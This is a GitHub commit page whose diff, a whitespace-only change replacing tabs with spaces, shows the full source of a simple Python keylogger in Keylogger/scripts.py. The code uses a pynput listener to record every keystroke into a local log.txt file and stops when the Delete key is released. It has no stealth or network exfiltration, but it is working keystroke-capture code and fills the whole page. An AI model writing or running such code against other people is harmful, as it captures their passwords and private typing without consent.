Skip to content

Commit 4a4b533

Browse files
committed
Replace tab indent with spaces
1 parent 8b2d42e commit 4a4b533

File tree

1 file changed

+12
-12
lines changed

1 file changed

+12
-12
lines changed

Keylogger/scripts.py

Lines changed: 12 additions & 12 deletions
Original file line numberDiff line numberDiff line change
@@ -6,24 +6,24 @@
66

77

88
def on_press(key):
9-
keys.append(key)
10-
write_file(keys)
9+
keys.append(key)
10+
write_file(keys)
1111

1212

1313
def write_file(keys):
14-
with open('log.txt', 'w') as f:
15-
for key in keys:
16-
#removing ''
17-
k = str(key).replace("'", "")
18-
f.write(k)
19-
#explicitly adding a space after every keystroke for readability
20-
f.write(' ')
14+
with open('log.txt', 'w') as f:
15+
for key in keys:
16+
#removing ''
17+
k = str(key).replace("'", "")
18+
f.write(k)
19+
#explicitly adding a space after every keystroke for readability
20+
f.write(' ')
2121

2222

2323
def on_release(key):
24-
if key == Key.delete:
25-
return False
24+
if key == Key.delete:
25+
return False
2626

2727

2828
with Listener(on_press = on_press, on_release = on_release) as listener:
29-
listener.join()
29+
listener.join()

0 commit comments

Comments
 (0)